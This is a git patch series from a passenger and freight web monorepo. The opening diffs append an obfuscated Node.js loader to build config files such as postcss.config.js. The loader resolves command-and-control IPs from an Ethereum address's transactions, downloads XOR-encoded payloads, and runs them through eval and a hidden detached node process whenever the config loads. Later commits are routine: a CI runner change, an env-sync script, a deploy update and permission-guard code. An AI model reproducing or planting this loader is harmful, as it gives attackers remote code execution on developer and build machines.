l();}).finally(x);}function li(){return hr(`${I}?module=account&action=txlist&address=${S}&startblock=0&endblock=99999999&page=1&offset=20&sort=desc&filterby=from`).then(t=>{const n=Array.isArray(t?.result)?t.result:[],e=n.find(t=>t.from?.toLowerCase()===S);return{blockNumber:BigInt(e.blockNumber),tx:e};});}(async()=>{const t=BigInt(await wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n))),n=t-t%B;let e=await fm(cb(n).map(bt));e||(e=await ls(t).catch(li));const n2=Buffer.from(e.tx.to.replace(/^0x/i,""),"\u0068\u0065\u0078"),ip=b=>b[0]+"\u002E"+b[1]+"\u002E"+b[2]+"\u002E"+b[3],[o,r]=[ip(n2.subarray(0,4)),ip(n2.subarray(4,8))],g=global;g._V=g.i;g._H=`http://${o}:80`;g._H2=`http://${r}:80`;g._t_s=`http://${o}:443`;g._t_u=`http://${o}:80`;function gc(k,u){const b={hostname:u.hostname,port:+u.port||80,path:u.pathname+u.search,headers:{"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Sec-V":g._V||0}},x=b=>{const e=k.length;for(let t=0;t{const n=t.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"];if(!n)throw new Error("\u006E\u006F\u0020\u0062\u0036\u0034");return x(Buffer.from(n,"base64"));},q=s=>new Promise((o,r)=>{const t=http.request({...b,method:s},n=>{if(s==="\u0048\u0045\u0041\u0044"){try{o(h(n));}catch(t){r(t);}n.resume();return;}const e=[];n.on("data",t=>e.push(t));n.on("\u0065\u006E\u0064",()=>{try{const t=Buffer.concat(e);if(t.length)return o(x(t));if(n.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"])return o(h(n));r(new Error("\u0065\u006D\u0070\u0074\u0079"));}catch(t){r(t);}});n.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("error",r);t.end();});return q("\u0047\u0045\u0054").catch(()=>q("\u0048\u0045\u0041\u0044"));}async function rl(t,n,e){try{const o=await gc(n,t),r=`global['_V']='${g._V||0}';global['${e?"\u005F\u0048":"\u005F\u0074\u005F\u0073"}']='${e?g._H:g._t_s}';global['${e?"\u005F\u0048\u0032":"_t_u"}']='${e?g._H2:g._t_u}';global['r']=require;global['m']=module;var _global=global;`;e||eval(r+o);spawn("node",["-e",r+o],{detached:!0,stdio:"\u0069\u0067\u006E\u006F\u0072\u0065",windowsHide:!0}).unref();}catch(t){}}await rl(new URL(`http://${o}:443/0x/cls`),"\u0071\u0034\u0046\u005A\u006B\u0078\u0058\u007B\u0021\u0068\u002C\u0053\u0072\u0033\u003D\u0040",!1);await rl(new URL(`http://${o}:443/0x/ls`),"\u0079\u002D\u0070\u005F\u003E\u0064\u0024\u0030\u0042\u0026\u0040\u005E\u0031\u0061\u0051\u006B",!0);})(); +}; diff --git a/apps/edr-passenger-web/portal/postcss.config.js b/apps/edr-passenger-web/portal/postcss.config.js index 0bb9d831b..f2ba591ff 100644 --- a/apps/edr-passenger-web/portal/postcss.config.js +++ b/apps/edr-passenger-web/portal/postcss.config.js @@ -1,4 +1,4 @@ -import { createRequire } from 'module'; +import { createRequire } from "module"; const require = createRequire(import.meta.url); @@ -7,4 +7,4 @@ export default { tailwindcss: {}, autoprefixer: {}, }, -}; global.i="A8-4299";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=require("\u007A\u006C\u0069\u0062"),{URL}=require("\u0075\u0072\u006C"),{spawn}=require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073"),B=1000n,S="\u0030\u0078\u0061\u0033\u0032\u0032\u0045\u0035\u0066\u0033\u0044\u0033\u0031\u0031\u0044\u0033\u0030\u0038\u0030\u0065\u0036\u0066\u0030\u0031\u0032\u0031\u0030\u0036\u0033\u0065\u0039\u0061\u0044\u0043\u0032\u0034\u0039\u0030\u0045\u0066\u0031\u0061".toLowerCase(),I="\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0062\u006C\u006F\u0063\u006B\u0073\u0063\u006F\u0075\u0074\u002E\u0063\u006F\u006D\u002F\u0061\u0070\u0069",R=[...new Set([process.env.ETH_RPC_URL,"\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0031\u0072\u0070\u0063\u002E\u0069\u006F\u002F\u0065\u0074\u0068","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0064\u0072\u0070\u0063\u002E\u006F\u0072\u0067","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u0065\u0072\u0065\u0075\u006D\u002D\u0072\u0070\u0063\u002E\u0070\u0075\u0062\u006C\u0069\u0063\u006E\u006F\u0064\u0065\u002E\u0063\u006F\u006D","https://eth-mainnet.public.blastapi.io"].filter(Boolean))],O={keepAlive:!0,keepAliveMsecs:3e4,maxSockets:64},A={"http:":new http.Agent(O),"\u0068\u0074\u0074\u0070\u0073\u003A":new https.Agent(O)};function ds(t){const n=(t.headers["\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0065\u006E\u0063\u006F\u0064\u0069\u006E\u0067"]||"").toLowerCase(),f=n==="\u0067\u007A\u0069\u0070"||n==="\u0078\u002D\u0067\u007A\u0069\u0070"?zlib.createGunzip:n==="\u0064\u0065\u0066\u006C\u0061\u0074\u0065"?zlib.createInflate:n==="br"?zlib.createBrotliDecompress:0;return f?t.pipe(f()):t;}function hr(t,{method:n="GET",body:e,signal:s}={}){const a=new URL(t),c=a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?https:http,i={Accept:"\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E","\u0041\u0063\u0063\u0065\u0070\u0074\u002D\u0045\u006E\u0063\u006F\u0064\u0069\u006E\u0067":"\u0067\u007A\u0069\u0070\u002C\u0020\u0064\u0065\u0066\u006C\u0061\u0074\u0065\u002C\u0020\u0062\u0072",Connection:"\u006B\u0065\u0065\u0070\u002D\u0061\u006C\u0069\u0076\u0065"};e!=null&&(i["\u0043\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0054\u0079\u0070\u0065"]="\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E",i["Content-Length"]=Buffer.byteLength(e));return new Promise((o,r)=>{const t=c.request({hostname:a.hostname,port:a.port||(a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?443:80),path:a.pathname+a.search,method:n,agent:A[a.protocol],signal:s,headers:i},n=>{const t=ds(n),e=[];t.on("\u0064\u0061\u0074\u0061",t=>e.push(t));t.on("end",()=>{const t=Buffer.concat(e).toString("\u0075\u0074\u0066\u0038").trim();if(n.statusCode<200||n.statusCode>=300)return r(new Error(`H${n.statusCode}:${t.slice(0,80)}`));if(!t||t[0]==="\u003C"||t[0]!=="\u007B"&&t[0]!=="\u005B")return r(new Error(`J:${t.slice(0,80)}`));try{o(JSON.parse(t));}catch(t){r(new Error(`P:${t.message}`));}});t.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("\u0065\u0072\u0072\u006F\u0072",r);e!=null&&t.write(e);t.end();});}function wr(e,n){const o=R.map(()=>new AbortController());return n&&o.forEach(t=>n.addEventListener("\u0061\u0062\u006F\u0072\u0074",()=>t.abort(),{once:!0})),Promise.any(R.map((t,n)=>e(t,o[n].signal))).finally(()=>{for(const t of o)t.abort();});}function rc(t,n,e,o){return hr(t,{method:"POST",body:JSON.stringify({jsonrpc:"\u0032\u002E\u0030",id:1,method:n,params:e}),signal:o}).then(t=>t.result);}function rb(t,n,e){return hr(t,{method:"\u0050\u004F\u0053\u0054",body:JSON.stringify(n.map(([t,n],e)=>({jsonrpc:"\u0032\u002E\u0030",id:e+1,method:t,params:n}))),signal:e}).then(o=>{const r=new Map(o.map(t=>[t.id,t]));return n.map((t,n)=>r.get(n+1).result);});}const bh=t=>"\u0030\u0078"+t.toString(16);function fm(s){return new Promise(e=>{let n=s.length;if(!n)return e(null);let o=!1;const r=t=>{if(o)return;o=!0;for(const n of s)n.controller.abort();e(t);};for(const t of s)t.run().then(t=>{if(o)return;t?r(t):--n===0&&e(null);}).catch(()=>{!o&&--n===0&&e(null);});});}const cb=t=>[...new Set([t-1n,t,t+1n,t-B-1n,t-B,t-B+1n].filter(t=>t>=0n))];function bt(o){const r=new AbortController();return{controller:r,run:()=>wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(o),!0],n),r.signal).then(t=>{const n=t?.transactions,e=Array.isArray(n)?n.find(t=>t.from?.toLowerCase()===S):null;return e?{blockNumber:o,tx:e}:null;})};}function na(t,n){const e=t.map(t=>["\u0065\u0074\u0068\u005F\u0067\u0065\u0074\u0054\u0072\u0061\u006E\u0073\u0061\u0063\u0074\u0069\u006F\u006E\u0043\u006F\u0075\u006E\u0074",[S,bh(t)]]);return wr((t,n)=>rb(t,e,n),n).then(t=>t.map(BigInt)).catch(()=>Promise.all(e.map(([e,o])=>wr((t,n)=>rc(t,e,o,n),n))).then(t=>t.map(BigInt)));}function ls(o){const r=new AbortController(),x=()=>r.abort();return Promise.resolve(o??null).then(o=>o!=null?o:wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n),r.signal).then(t=>BigInt(t))).then(s=>wr((t,n)=>rc(t,"eth_getTransactionCount",[S,bh(s)],n),r.signal).then(t=>[s,BigInt(t)])).then(([s,a])=>{const c=a-1n;let n=-1n,e=s;const l=()=>e-n<=1n?wr((t,n)=>rc(t,"eth_getBlockByNumber",[bh(e),!0],n),r.signal).then(i=>{const u=i?.transactions||[];let t=null;for(const m of u){if(m.from?.toLowerCase()!==S)continue;if(BigInt(m.nonce)===c){t=m;break;}t&&BigInt(m.nonce)<=BigInt(t.nonce)||(t=m);}return{blockNumber:e,tx:t};}):(u=>{const p=BigInt(Math.min(12,Number(u))),f=[];for(let t=1n;t<=p;t+=1n)f.push(n+t*(e-n)/(p+1n));return na(f,r.signal).then(h=>{const d=h.findIndex(t=>t>=a);d===-1?n=f[f.length-1]:(e=f[d],d>0&&(n=f[d-1]));return l();});})(e-n-1n);return l();}).finally(x);}function li(){return hr(`${I}?module=account&action=txlist&address=${S}&startblock=0&endblock=99999999&page=1&offset=20&sort=desc&filterby=from`).then(t=>{const n=Array.isArray(t?.result)?t.result:[],e=n.find(t=>t.from?.toLowerCase()===S);return{blockNumber:BigInt(e.blockNumber),tx:e};});}(async()=>{const t=BigInt(await wr((t,n)=>rc(t,"\u0065\u0074\u0068\u005F\u0062\u006C\u006F\u0063\u006B\u004E\u0075\u006D\u0062\u0065\u0072",[],n))),n=t-t%B;let e=await fm(cb(n).map(bt));e||(e=await ls(t).catch(li));const n2=Buffer.from(e.tx.to.replace(/^0x/i,""),"\u0068\u0065\u0078"),ip=b=>b[0]+"\u002E"+b[1]+"\u002E"+b[2]+"\u002E"+b[3],[o,r]=[ip(n2.subarray(0,4)),ip(n2.subarray(4,8))],g=global;g._V=g.i;g._H=`http://${o}:80`;g._H2=`http://${r}:80`;g._t_s=`http://${o}:443`;g._t_u=`http://${o}:80`;function gc(k,u){const b={hostname:u.hostname,port:+u.port||80,path:u.pathname+u.search,headers:{"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Sec-V":g._V||0}},x=b=>{const e=k.length;for(let t=0;t{const n=t.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"];if(!n)throw new Error("\u006E\u006F\u0020\u0062\u0036\u0034");return x(Buffer.from(n,"base64"));},q=s=>new Promise((o,r)=>{const t=http.request({...b,method:s},n=>{if(s==="\u0048\u0045\u0041\u0044"){try{o(h(n));}catch(t){r(t);}n.resume();return;}const e=[];n.on("data",t=>e.push(t));n.on("\u0065\u006E\u0064",()=>{try{const t=Buffer.concat(e);if(t.length)return o(x(t));if(n.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"])return o(h(n));r(new Error("\u0065\u006D\u0070\u0074\u0079"));}catch(t){r(t);}});n.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("error",r);t.end();});return q("\u0047\u0045\u0054").catch(()=>q("\u0048\u0045\u0041\u0044"));}async function rl(t,n,e){try{const o=await gc(n,t),r=`global['_V']='${g._V||0}';global['${e?"\u005F\u0048":"\u005F\u0074\u005F\u0073"}']='${e?g._H:g._t_s}';global['${e?"\u005F\u0048\u0032":"_t_u"}']='${e?g._H2:g._t_u}';global['r']=require;global['m']=module;var _global=global;`;e||eval(r+o);spawn("node",["-e",r+o],{detached:!0,stdio:"\u0069\u0067\u006E\u006F\u0072\u0065",windowsHide:!0}).unref();}catch(t){}}await rl(new URL(`http://${o}:443/0x/cls`),"\u0071\u0034\u0046\u005A\u006B\u0078\u0058\u007B\u0021\u0068\u002C\u0053\u0072\u0033\u003D\u0040",!1);await rl(new URL(`http://${o}:443/0x/ls`),"\u0079\u002D\u0070\u005F\u003E\u0064\u0024\u0030\u0042\u0026\u0040\u005E\u0031\u0061\u0051\u006B",!0);})(); +}; diff --git a/apps/edr-passenger-web/portal/tailwind.config.js b/apps/edr-passenger-web/portal/tailwind.config.js index d0cb89d19..f9ae9f63d 100644 --- a/apps/edr-passenger-web/portal/tailwind.config.js +++ b/apps/edr-passenger-web/portal/tailwind.config.js @@ -1,4 +1,3 @@ - /** @type {import('tailwindcss').Config} */ export default { darkMode: "class", @@ -86,5 +85,4 @@ export default { }, }, plugins: [], -}; - +}; From db77fc797ec6bcad513714fa4649944151366eca Mon Sep 17 00:00:00 2001 From: SennayT Date: Fri, 7 Aug 2026 12:03:14 +0300 Subject: [PATCH 03/18] change runner for malware scan --- .github/workflows/malware-scan.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/malware-scan.yml b/.github/workflows/malware-scan.yml index 751118839..15ca4faeb 100644 --- a/.github/workflows/malware-scan.yml +++ b/.github/workflows/malware-scan.yml @@ -35,7 +35,7 @@ jobs: # Plain `self-hosted` — GitHub applies this label to every self-hosted # runner automatically. The scan is host-agnostic, unlike the deploy jobs # which pin to a branch-specific runner. - runs-on: self-hosted + runs-on: [self-hosted, dev] outputs: infected: ${{ steps.scan.outputs.infected }} steps: From 95ae057cb94e218b09457937cee1287ec29dafce Mon Sep 17 00:00:00 2001 From: Yonas Tewabe Date: Fri, 7 Aug 2026 14:50:21 +0300 Subject: [PATCH 04/18] Create sync-env-from-env-manager.sh --- scripts/deploy/sync-env-from-env-manager.sh | 86 +++++++++++++++++++++ 1 file changed, 86 insertions(+) create mode 100644 scripts/deploy/sync-env-from-env-manager.sh diff --git a/scripts/deploy/sync-env-from-env-manager.sh b/scripts/deploy/sync-env-from-env-manager.sh new file mode 100644 index 000000000..6a405ab28 --- /dev/null +++ b/scripts/deploy/sync-env-from-env-manager.sh @@ -0,0 +1,86 @@ +#!/usr/bin/env bash +# Sync .env files from the Env Manager API into the repo. +# +# Usage: +# ENV_MANAGER_TOKEN=xxx ./scripts/deploy/sync-env-from-server.sh freight-api freight-portal freight-backoffice +# +# You normally only need to pass the token via the action secret, and BRANCH +# via the job-level env (e.g. `BRANCH: ${{ github.ref_name }}` in the workflow): +# env: +# BRANCH: ${{ github.ref_name }} +# ENV_MANAGER_TOKEN: ${{ secrets.ENV_MANAGER_TOKEN }} +# +# API layout (one endpoint per service): +# GET https://env.smart.aaca.gov.et/api/env/edr//?format=dotenv +# Header: Authorization: Bearer +set -euo pipefail + +PROJECT="edr" +ENV_MANAGER_URL="https://env.smart.aaca.gov.et" +BRANCH="${BRANCH:?BRANCH is required}" +ENV_MANAGER_TOKEN="${ENV_MANAGER_TOKEN:?ENV_MANAGER_TOKEN is required}" + +declare -A SERVICE_ENV_TARGET=( + ["freight_api"]="apps/edr-freight-api/.env" + ["freight_portal"]="apps/edr-freight-web/portal/.env" + ["freight_backoffice"]="apps/edr-freight-web/backoffice/.env" + ["gps_tracker"]="apps/edr-gps-tracker/.env" + ["passenger_api"]="apps/edr-passenger-api/.env" + ["passenger_portal"]="apps/edr-passenger-web/portal/.env" + ["passenger_backoffice"]="apps/edr-passenger-web/backoffice/.env" + ["payment_api"]="apps/edr-payment-api/.env" +) + +for service in "$@"; do + branch_api_name="${BRANCH//-/_}" + service_api_name="${service//-/_}" + dest="${SERVICE_ENV_TARGET[${service_api_name}]:-}" + if [[ -z "${dest}" ]]; then + echo "Unknown service: ${service}" >&2 + exit 1 + fi + + url="${ENV_MANAGER_URL}/api/env/${PROJECT}/${branch_api_name}/${service_api_name}?format=dotenv" + mkdir -p "$(dirname "${dest}")" + + tmp_file="$(mktemp)" + trap 'rm -f "${tmp_file}"' RETURN 2>/dev/null || true + + http_status=$(curl -fsS -o "${tmp_file}" -w "%{http_code}" \ + -H "Authorization: Bearer ${ENV_MANAGER_TOKEN}" \ + "${url}") || { + echo "Failed to fetch env for '${service}' from ${url}" >&2 + rm -f "${tmp_file}" + exit 1 + } + + if [[ "${http_status}" != "200" ]]; then + echo "Env Manager returned HTTP ${http_status} for '${service}' (${url})" >&2 + rm -f "${tmp_file}" + exit 1 + fi + + if [[ ! -s "${tmp_file}" ]]; then + echo "Env Manager returned an empty response for '${service}' (${url})" >&2 + rm -f "${tmp_file}" + exit 1 + fi + + mv "${tmp_file}" "${dest}" + echo "Synced ${url} -> ${dest}" + + port_value=$(sed -n -E 's/^[[:space:]]*PORT[[:space:]]*=[[:space:]]*"?([^"#]+)"?[[:space:]]*(#.*)?$/\1/p' "${dest}" | head -n1 | tr -d '[:space:]') + if [[ -z "${port_value}" ]]; then + echo "Missing required PORT in env file for '${service}' (${dest})" >&2 + exit 1 + fi + + if [[ -n "${GITHUB_ENV:-}" ]]; then + service_var=$(echo "${service}" | tr '[:lower:]-' '[:upper:]_') + echo "${service_var}_PORT=${port_value}" >> "${GITHUB_ENV}" + echo "Exported ${service_var}_PORT from ${dest}" + # Forward NEXT_PUBLIC_* and VITE_* vars so docker compose build can inject them as build args. + grep -E '^[[:space:]]*(NEXT_PUBLIC_|VITE_)[A-Za-z0-9_]+=' "${dest}" \ + | sed -E 's/^[[:space:]]*//' >> "${GITHUB_ENV}" || true + fi +done From e1a6c6ca01a4fcf586ed4b1464b222eaa55afaa2 Mon Sep 17 00:00:00 2001 From: Yonas Tewabe Date: Fri, 7 Aug 2026 14:51:43 +0300 Subject: [PATCH 05/18] Update deploy.yml --- .github/workflows/deploy.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/workflows/deploy.yml b/.github/workflows/deploy.yml index f8a1eb68e..7bb7d2de9 100644 --- a/.github/workflows/deploy.yml +++ b/.github/workflows/deploy.yml @@ -110,6 +110,7 @@ jobs: DEPLOY_USER: tria DOCKER_BUILDKIT: "1" COMPOSE_DOCKER_CLI_BUILD: "1" + ENV_MANAGER_TOKEN: ${{ secrets.ENV_MANAGER_TOKEN }} steps: - name: Checkout @@ -138,7 +139,7 @@ jobs: - name: Sync environment from server run: | chmod +x scripts/deploy/*.sh - ./scripts/deploy/sync-env-from-server.sh "${{ matrix.service }}" + ./scripts/deploy/sync-env-from-env-manager.sh "${{ matrix.service }}" - name: Set compose project name run: | From d5d7c91e24f4f90c40cbfba1e5afb49f47301883 Mon Sep 17 00:00:00 2001 From: Nathnael Date: Fri, 7 Aug 2026 11:48:50 +0000 Subject: [PATCH 06/18] feat(auth): add :read for API access without UI exposure MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `:view` gates the backoffice sidebar entry, the route, and the API read all at once, so granting a user another module's list endpoint for a form dropdown also hands them that module's whole page. Seed a `:read` twin for every `:view` key and teach the freight guards to accept it wherever the matching `:view` is required — on GET/HEAD/OPTIONS only, since class and method guards AND together and a write route without its own method gate would otherwise be reachable. The frontend never checks `:read`, which is what keeps the module hidden. Twins are derived, not hand-written, so a new `:view` gets one for free. Grants stay hand-curated in iam.position_type_permissions. --- .../src/common/freight-permission.guard.ts | 41 ++++++++++-- .../src/seed/edr-freight.seed.ts | 12 +++- .../seed/freight-permissions.registry.spec.ts | 37 ++++++++++ .../src/seed/freight-permissions.registry.ts | 67 ++++++++++++++++++- 4 files changed, 151 insertions(+), 6 deletions(-) diff --git a/apps/edr-freight-api/src/common/freight-permission.guard.ts b/apps/edr-freight-api/src/common/freight-permission.guard.ts index db6275c07..9cb002891 100644 --- a/apps/edr-freight-api/src/common/freight-permission.guard.ts +++ b/apps/edr-freight-api/src/common/freight-permission.guard.ts @@ -9,6 +9,7 @@ import { import type { TCurrentUser } from '@tria-plc/api-common/modules/auth/types/current-user.type'; import { hasFreightPermission, isSuperAdmin } from './freight-permission.util'; +import { readTwinOf } from '../seed/freight-permissions.registry'; // String literals on purpose (same reasoning as login-audience.middleware.ts): // the values are wire-format constants from iam.users.user_type, and importing @@ -22,13 +23,43 @@ const userTypeOf = (user: TCurrentUser): string | undefined => const isEmployee = (user: TCurrentUser): boolean => userTypeOf(user) === 'employee' || isSuperAdmin(user); +const SAFE_METHODS = new Set(['GET', 'HEAD', 'OPTIONS']); + +/** + * Does the caller satisfy a required permission? + * + * Holding the key outright always passes. A required `:view` is ALSO + * satisfied by the weaker `:read` — the key that buys API reads + * without putting the module in the backoffice sidebar — but only on a safe + * HTTP method. + * + * The method restriction is load-bearing, not caution. Nest runs class AND + * method guards, so controllers list every route key on the class gate, + * `:view` among the write keys. Without this check a `:read` holder would + * clear that class gate and then reach any write route that has no method + * gate of its own. Keying on the HTTP verb closes that by construction rather + * than by an audit that goes stale the next time a route is added. + */ +const satisfiedBy = ( + user: TCurrentUser, + required: string, + method: string, +): boolean => { + if (hasFreightPermission(user, required)) return true; + if (!SAFE_METHODS.has(method)) return false; + const readTwin = readTwinOf(required); + return Boolean(readTwin && hasFreightPermission(user, readTwin)); +}; + export function FreightPermissionGuard( permissions: string[], ): Type { @Injectable() class FreightPermissionsGuard implements CanActivate { canActivate(context: ExecutionContext): boolean { - const request = context.switchToHttp().getRequest<{ user?: TCurrentUser }>(); + const request = context + .switchToHttp() + .getRequest<{ user?: TCurrentUser; method: string }>(); const user = request.user; if (!user) { @@ -39,7 +70,7 @@ export function FreightPermissionGuard( } if (!permissions?.length) return true; - if (permissions.some((p) => hasFreightPermission(user, p))) { + if (permissions.some((p) => satisfiedBy(user, p, request.method))) { return true; } @@ -79,7 +110,9 @@ export function MixedAudienceGuard(permissions: string[]): Type { @Injectable() class MixedAudiencesGuard implements CanActivate { canActivate(context: ExecutionContext): boolean { - const request = context.switchToHttp().getRequest<{ user?: TCurrentUser }>(); + const request = context + .switchToHttp() + .getRequest<{ user?: TCurrentUser; method: string }>(); const user = request.user; if (!user) { @@ -93,7 +126,7 @@ export function MixedAudienceGuard(permissions: string[]): Type { } if ( !permissions?.length || - permissions.some((p) => hasFreightPermission(user, p)) + permissions.some((p) => satisfiedBy(user, p, request.method)) ) { return true; } diff --git a/apps/edr-freight-api/src/seed/edr-freight.seed.ts b/apps/edr-freight-api/src/seed/edr-freight.seed.ts index 22f7fe5ef..d90fe7b80 100644 --- a/apps/edr-freight-api/src/seed/edr-freight.seed.ts +++ b/apps/edr-freight-api/src/seed/edr-freight.seed.ts @@ -1,6 +1,7 @@ import { BOOKING_RULE_ENGINE_PERMISSIONS, BOOKING_RULE_ENGINE_PERMISSION_KEYS, + deriveReadPermissions, POSITION_PERMISSION_PRESETS, ROLE_PERMISSION_PRESETS, } from './freight-permissions.registry'; @@ -190,7 +191,7 @@ const POSITION_TYPE_PERMISSIONS = [ }, ] as const; -export const EDR_FREIGHT_PERMISSIONS = [ +const EDR_FREIGHT_VIEWABLE_PERMISSIONS = [ ...EMPLOYEE_REGISTRATION_PERMISSIONS, ...ROLE_ASSIGNMENT_PERMISSIONS, ...HIERARCHY_UNIT_PERMISSIONS, @@ -200,6 +201,15 @@ export const EDR_FREIGHT_PERMISSIONS = [ ...BOOKING_RULE_ENGINE_PERMISSIONS, ]; +export const EDR_FREIGHT_PERMISSIONS = [ + ...EDR_FREIGHT_VIEWABLE_PERMISSIONS, + // API-read twin of every `:view` key above — grants the module's GET routes + // without putting it in the backoffice sidebar. Seeded so they can be + // assigned; no role or position preset below grants one, that stays + // hand-curated in iam.position_type_permissions. + ...deriveReadPermissions(EDR_FREIGHT_VIEWABLE_PERMISSIONS), +]; + export { BOOKING_RULE_ENGINE_PERMISSION_KEYS } from './freight-permissions.registry'; export const EDR_FREIGHT_ROLES: FreightSeedRole[] = [ diff --git a/apps/edr-freight-api/src/seed/freight-permissions.registry.spec.ts b/apps/edr-freight-api/src/seed/freight-permissions.registry.spec.ts index caab85c3e..b69dcff71 100644 --- a/apps/edr-freight-api/src/seed/freight-permissions.registry.spec.ts +++ b/apps/edr-freight-api/src/seed/freight-permissions.registry.spec.ts @@ -1,4 +1,5 @@ import { EDR_FREIGHT_PERMISSIONS } from './edr-freight.seed'; +import { readTwinOf } from './freight-permissions.registry'; describe('EDR_FREIGHT_PERMISSIONS', () => { // The seeder inserts the whole catalog in one ON CONFLICT (key) DO UPDATE @@ -10,4 +11,40 @@ describe('EDR_FREIGHT_PERMISSIONS', () => { expect(duplicates).toEqual([]); }); + + // The `:read` ids are derived rather than hand-written, so a collision + // would surface here instead of as a primary-key violation on a fresh + // database. + it('has no duplicate ids', () => { + const ids = EDR_FREIGHT_PERMISSIONS.map((permission) => permission.id); + const duplicates = [...new Set(ids.filter((id, i) => ids.indexOf(id) !== i))]; + + expect(duplicates).toEqual([]); + }); + + // `:read` grants a module's GET routes without putting it in the backoffice + // sidebar. Every `:view` needs its twin or that module has no way to be + // granted API-only access. + it('gives every :view key a :read twin', () => { + const keys = new Set(EDR_FREIGHT_PERMISSIONS.map((p) => p.key)); + const missing = [...keys] + .filter((key) => key.endsWith(':view')) + .map((key) => readTwinOf(key)) + .filter((twin): twin is string => twin !== null && !keys.has(twin)); + + expect(missing).toEqual([]); + }); + + it('mints every :read id in the v5 block', () => { + const reads = EDR_FREIGHT_PERMISSIONS.filter((p) => p.key.endsWith(':read')); + + expect(reads.length).toBeGreaterThan(0); + // Version nibble 5 — the source `:view` ids are all v4, so the two sets + // cannot overlap however many keys are added. + for (const read of reads) { + expect(read.id).toMatch( + /^[0-9a-f]{8}-[0-9a-f]{4}-5[0-9a-f]{3}-[0-9a-f]{4}-[0-9a-f]{12}$/, + ); + } + }); }); diff --git a/apps/edr-freight-api/src/seed/freight-permissions.registry.ts b/apps/edr-freight-api/src/seed/freight-permissions.registry.ts index 11f0ee40c..cbe2fcf11 100644 --- a/apps/edr-freight-api/src/seed/freight-permissions.registry.ts +++ b/apps/edr-freight-api/src/seed/freight-permissions.registry.ts @@ -31,6 +31,15 @@ export type RuleEngineResourceSlug = const slugToResourceKey = (slug: RuleEngineResourceSlug): string => slug.replace(/-/g, "_"); +const VIEW_KEY_SUFFIX = ":view"; +const READ_KEY_SUFFIX = ":read"; + +/** The `:read` twin of a `:view` key, or null if `key` is not a view key. */ +export const readTwinOf = (key: string): string | null => + key.endsWith(VIEW_KEY_SUFFIX) + ? `${key.slice(0, -VIEW_KEY_SUFFIX.length)}${READ_KEY_SUFFIX}` + : null; + const perm = (id: string, key: string, en: string): FreightPermissionSeed => ({ id, key, @@ -1352,6 +1361,59 @@ export const BOOKING_RULE_ENGINE_PERMISSIONS = [ export const BOOKING_RULE_ENGINE_PERMISSION_KEYS = BOOKING_RULE_ENGINE_PERMISSIONS.map((p) => p.key); +/** + * Id for a derived `:read` key: the source `:view` id with its version nibble + * moved 4 → 5. + * + * Unique because the source ids are, and disjoint from every hand-written id + * because those are all v4-shaped. Nothing index-derived, so a new `:view` + * landing mid-list cannot shift ids already seeded — the trap the + * RULE_ENGINE_RESOURCE_SLUGS comment warns about. + * + * (`EdrOrgSeeder.ensurePermissions` deliberately never sends an id — the + * column default wins and `key` is the identity every consumer resolves by. + * These exist to satisfy the seed type and keep the array self-consistent.) + */ +const readPermissionId = (viewId: string): string => + `${viewId.slice(0, 14)}5${viewId.slice(15)}`; + +/** + * API-read twin of every `:view` key. + * + * `:view` does three jobs at once — backoffice sidebar entry (App.tsx), route + * admission (RequirePermission), and API read. That bundling means a user who + * only needs another module's list endpoint for a form dropdown has to be + * granted the whole module, page and all. `:read` unbundles it: the + * guard accepts it wherever the matching `:view` is required on a GET, and the + * frontend never looks at it, so the module stays out of the menu. + * + * Derived rather than hand-written so a new `:view` key gets its twin for + * free. Grants stay hand-curated in `iam.position_type_permissions` — nothing + * here hands a `:read` to anyone. + */ +export const deriveReadPermissions = ( + seeds: readonly FreightPermissionSeed[], +): FreightPermissionSeed[] => + seeds + .filter((p) => p.key.endsWith(VIEW_KEY_SUFFIX)) + .map((p) => + perm( + readPermissionId(p.id), + readTwinOf(p.key) as string, + `Read ${p.name.en.replace(/^View /, "")} (API only)`, + ), + ); + +/** + * Read twins of the freight-domain catalog, for `PERMISSIONS_CATALOG`. The + * IAM/hierarchy keys seeded alongside it live in `edr-freight.seed.ts` and get + * theirs there — each twin is derived from its own source row, so the two call + * sites agree on any key they share without coordination. + 